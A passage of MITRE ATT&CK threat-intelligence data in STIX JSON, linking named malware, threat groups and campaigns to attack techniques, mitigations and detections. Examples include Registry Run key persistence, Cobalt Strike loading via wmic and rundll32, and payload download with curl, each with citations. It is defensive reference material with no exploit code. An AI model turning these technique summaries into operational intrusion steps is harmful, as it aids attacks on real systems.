(2021, December 8). Improve kernel security with the new Microsoft Vulnerable and Malicious Driver Reporting Center. Retrieved April 6, 2022."},{"source_name":"Microsoft driver block rules","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules","description":"Jordan Geurten et al. . (2022, March 29). Microsoft recommended driver block rules. Retrieved April 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent an application from writing a signed vulnerable driver to the system.(Citation: Malicious Driver Reporting Center) On Windows 10 and 11, enable Microsoft Vulnerable Driver Blocklist to assist in hardening against third party-developed service drivers.(Citation: Microsoft driver block rules) ","modified":"2022-04-19T03:05:58.911Z","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0a2872da-8858-45d4-bd78-8ac41fc376eb","created":"2023-03-31T21:28:05.444Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"RecordedFuture WhisperGate Jan 2022","description":"Insikt Group. (2020, January 28). WhisperGate Malware Corrupts Computers in Ukraine. Retrieved September 16, 2024.","url":"https://www.recordedfuture.com/research/whispergate-malware-corrupts-computers-ukraine"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T16:21:40.329Z","description":"[WhisperGate](https://attack.mitre.org/software/S0689)'s downloader can reverse its third stage file bytes and reflectively load the file as a .NET assembly.(Citation: RecordedFuture WhisperGate Jan 2022)","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0a2c9965-291c-4724-829b-3cd5e8b26b58","type":"relationship","created":"2020-11-30T16:54:23.460Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."},{"source_name":"NCC Group Team9 June 2020","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}],"modified":"2020-12-01T14:36:15.122Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can enumerate the victim's desktop.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0a328420-501e-4d8d-b2bd-9b3d4562e767","type":"relationship","created":"2020-10-20T15:52:50.022Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-20T19:52:33.591Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--2b5aa86b-a0df-4382-848d-30abea443327","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0a37825f-2f48-4810-8d5e-a4421d1fe122","type":"relationship","created":"2021-09-07T15:24:47.977Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"}],"modified":"2021-10-15T14:37:10.008Z","description":"[Peppy](https://attack.mitre.org/software/S0643) can log keystrokes on compromised hosts.(Citation: Proofpoint Operation Transparent Tribe March 2016)","relationship_type":"uses","source_ref":"malware--6c2550d5-a01a-4bbb-a004-6ead348ba623","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0a3c7f91-6020-46f8-be45-d0a8cf86956e","created":"2022-06-02T13:49:03.123Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cisco Talos Bitter Bangladesh May 2022","url":"https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html","description":"Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ZxxZ](https://attack.mitre.org/software/S1013) has used API functions such as `Process32First`, `Process32Next`, and `ShellExecuteA`.(Citation: Cisco Talos Bitter Bangladesh May 2022)","modified":"2022-06-02T14:01:07.125Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--97cfbdc6-504d-41e9-a46c-78a9f806ff0d","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0a3dbe33-465a-421e-82ca-573d2ca25691","created":"2021-01-22T16:19:53.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.417Z","description":"(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0a47636e-8260-414d-aff7-7b1120778a51","type":"relationship","created":"2021-11-22T15:59:57.698Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks BRONZE PRESIDENT December 2019","url":"https://www.secureworks.com/research/bronze-president-targets-ngos","description":"Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."}],"modified":"2021-11-22T15:59:57.698Z","description":"[RCSession](https://attack.mitre.org/software/S0662) can use an encrypted beacon to check in with C2.(Citation: Secureworks BRONZE PRESIDENT December 2019)","relationship_type":"uses","source_ref":"malware--03acae53-9b98-46f6-b204-16b930839055","target_ref":"attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0a4819da-bba0-487b-abff-41d6fba75922","created":"2023-09-30T20:18:35.375Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-30T20:18:35.375Z","description":"Limit the number of accounts and services with permission to query information from password stores to only those required. Ensure that accounts and services with permissions to query password stores only have access to the secrets they require.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0a49a3af-973d-43ea-b4d4-8cc21c12dfc0","created":"2022-09-22T00:31:50.956Z","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-22T00:31:50.956Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors uploaded commonly available hacker tools to compromised web servers.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0a4e5f93-6efa-4490-b7fb-21a47a15612b","type":"relationship","created":"2021-03-08T14:20:25.749Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b","description":"USG. (2020, May 12). MAR-10288834-2.v1 – North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."}],"modified":"2021-03-15T17:16:09.141Z","description":"[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can execute FileRecvWriteRand to append random bytes to the end of a file received from C2.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)","relationship_type":"uses","source_ref":"malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0a507d28-ef6b-417b-a968-e82608e8b6a8","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"},{"source_name":"Unit 42 Magic Hound Feb 2017","description":"Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"},{"source_name":"Microsoft Iranian Threat Actor Trends November 2021","description":"MSTIC. (2021, November 16). Evolving trends in Iranian threat actor activity – MSTIC presentation at CyberWarCon 2021. Retrieved January 12, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-12T20:29:53.513Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) malware has used Registry Run keys to establish persistence.(Citation: Unit 42 Magic Hound Feb 2017)(Citation: DFIR Phosphorus November 2021)(Citation: Microsoft Iranian Threat Actor Trends November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0a558f22-0139-43d9-869b-ee0e71ac237d","type":"relationship","created":"2021-10-08T15:59:54.041Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-10-08T15:59:54.041Z","description":"[xCaon](https://attack.mitre.org/software/S0653) has uploaded files from victims' machines.(Citation: Checkpoint IndigoZebra July 2021)","relationship_type":"uses","source_ref":"malware--21583311-6321-4891-8a37-3eb4e57b0fb1","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0a606064-9f7f-4ca9-a2c5-b80360433ff7","created":"2022-09-23T14:58:24.423Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-23T14:58:24.423Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) can use a Registry Run Key and the Startup folder to establish persistence.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0a60c87c-4f32-43fa-8aec-dda732dd669b","type":"relationship","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.839Z","description":"Monitor newly executed processes that may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0a65c303-52a6-4624-a8fb-fc7448429139","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Winnti Jan 2017","description":"Cap, P., et al. (2017, January 25). Detecting threat actors in recent German industrial attacks with Windows Defender ATP. Retrieved February 8, 2017.","url":"https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/"}],"modified":"2020-04-30T18:45:04.769Z","description":"[Winnti for Windows](https://attack.mitre.org/software/S0141) sets its DLL file as a new service in the Registry to establish persistence.(Citation: Microsoft Winnti Jan 2017)","relationship_type":"uses","source_ref":"malware--d3afa961-a80c-4043-9509-282cdf69ab21","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0a6b2a04-b01a-45a6-a0da-221dcdcf1c51","type":"relationship","created":"2021-09-29T00:30:23.824Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-09-29T00:30:23.824Z","description":"[xCaon](https://attack.mitre.org/software/S0653) has communicated with the C2 server by sending POST requests over HTTP.(Citation: Checkpoint IndigoZebra July 2021) ","relationship_type":"uses","source_ref":"malware--21583311-6321-4891-8a37-3eb4e57b0fb1","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0a6ec458-f9f7-4e51-b0eb-4fd915a48a6b","type":"relationship","created":"2017-05-31T21:33:27.052Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html","description":"FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","source_name":"FireEye admin@338"}],"modified":"2019-09-04T19:48:17.672Z","description":"(Citation: FireEye admin@338)","relationship_type":"uses","source_ref":"intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756","target_ref":"malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0a764574-6288-4f66-b4af-b485424b32d2","created":"2022-09-29T20:13:11.262Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T20:13:11.262Z","description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used `wmic` and `rundll32` to load [Cobalt Strike](https://attack.mitre.org/software/S0154) onto a target host.(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0a7810c5-850a-41e9-9d44-cbbdeebd8044","type":"relationship","created":"2020-03-19T21:27:32.904Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-19T21:27:32.904Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0a789ae7-0348-4bec-a7bd-7890f0996d66","created":"2024-06-06T17:46:51.079Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason INC Ransomware November 2023","description":"Cybereason Security Research Team. (2023, November 20). Threat Alert: INC Ransomware. Retrieved June 5, 2024.","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/threat-alert-inc-ransomware.pdf"},{"source_name":"SOCRadar INC Ransom January 2024","description":"SOCRadar. (2024, January 24). Dark Web Profile: INC Ransom. Retrieved June 5, 2024.","url":"https://socradar.io/dark-web-profile-inc-ransom/"},{"source_name":"Huntress INC Ransom Group August 2023","description":"Team Huntress. (2023, August 11). Investigating New INC Ransom Group Activity. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/investigating-new-inc-ransom-group-activity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T18:02:39.841Z","description":"[INC Ransom](https://attack.mitre.org/groups/G1032) has used WMIC to deploy ransomware.(Citation: Cybereason INC Ransomware November 2023)(Citation: Huntress INC Ransom Group August 2023)(Citation: SOCRadar INC Ransom January 2024)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0a8c04f1-c724-4215-92f0-3863b2a3d96d","type":"relationship","created":"2019-04-17T18:43:36.362Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.","url":"https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/","source_name":"CheckPoint SpeakUp Feb 2019"}],"modified":"2019-04-22T20:29:31.363Z","description":"[SpeakUp](https://attack.mitre.org/software/S0374) uses the cat /proc/cpuinfo | grep -c “cpu family” 2>&1 command to gather system information. (Citation: CheckPoint SpeakUp Feb 2019)","relationship_type":"uses","source_ref":"malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0a8d1f91-445a-4260-83b2-e13725b0a8d6","type":"relationship","created":"2021-06-21T18:31:00.917Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Cuba April 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf","description":"Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021."}],"modified":"2021-08-31T21:30:39.512Z","description":"[Cuba](https://attack.mitre.org/software/S0625) can modify services by using the OpenService and ChangeServiceConfig functions.(Citation: McAfee Cuba April 2021) ","relationship_type":"uses","source_ref":"malware--6cd07296-14aa-403d-9229-6343d03d4752","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0a8e3f80-f415-450c-9976-feb917facd8a","created":"2022-10-04T07:07:48.428Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T21:05:39.680Z","description":"[macOS.OSAMiner](https://attack.mitre.org/software/S1048) has used `curl` to download a [Stripped Payloads](https://attack.mitre.org/techniques/T1027/008) from a public facing adversary-controlled webpage. ","relationship_type":"uses","source_ref":"malware--2a59a237-1530-4d55-91f9-2aebf961cc37","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0a8ee649-e907-4a73-8513-3019b2d771a0","created":"2017-05-31T21:33:27.069Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Blockbuster RATs","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.","url":"https://web.archive.org/web/20220608001455/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf"},{"source_name":"Novetta Blockbuster","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:03:54.704Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SierraBravo-Two generates an email message via SMTP containing information about newly infected victims.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0a8f5e7d-04d8-4ca8-a1d1-ea6a0ccc6140","type":"relationship","created":"2020-06-09T15:33:13.766Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-06-09T15:33:13.766Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1","target_ref":"attack-pattern--144e007b-e638-431d-a894-45d90c54ab90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0a952229-6932-4b04-b281-ea83e21f7fb0","created":"2024-09-25T19:06:39.521Z","revoked":false,"external_references":[{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T19:06:39.521Z","description":"(Citation: Trend Micro Ransomware Spotlight Play July 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"tool--981acc4c-2ede-4b56-be6e-fa1a75f37acf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0a975ec6-5754-4a42-aa0f-f468d67a2c91","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rancor Unit42 June 2018","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 